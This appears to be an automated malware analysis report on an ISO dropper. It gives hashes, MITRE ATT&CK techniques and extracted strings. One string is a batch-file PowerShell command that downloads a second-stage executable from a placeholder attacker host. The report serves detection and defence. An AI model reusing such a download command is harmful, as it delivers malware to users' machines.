KVMX

Evidence-First Malware Analysis

Analysis Report: iso_dropper.iso

Verdict: MALICIOUS

iso_dropper.iso has an unrecognized format. Verdict: malicious.

Analysis Overview

Score: 9/10

Threat level: Malicious

Malicious Activity Summary

- Command and Scripting Interpreter: PowerShell
- Application Layer Protocol: Web Protocols

Hashes

SHA-256:	454375cb8d286c0de267716781d434b3848c1beb5f54dd16e25ffc1607e0e9e6
SHA-1:	917cb833784c4e2b6724ccc8831f9356e4a26755
MD5:	06175411d373cae22183119583f9952c
Size:	40,960 bytes

Packer Detection

No packer detected.

Strings (5 found)

```
CD001
CD001
INVOICE.BAT;1
@echo off
powershell -c "iwr http://iso-bat-seed.evil.test/stage2 -o a.exe"
```

Indicators of Compromise (2)

URLs (1)

`http://iso-bat-seed.evil.test/stage2`

Domains (1)

`iso-bat-seed.evil.test`

MITRE ATT&CK (2)

Technique	Name	Tactic	Source

T1059.001	Command and Scripting Interprete	Execution	
T1071.001	Application Layer Protocol: Web	Command and Control	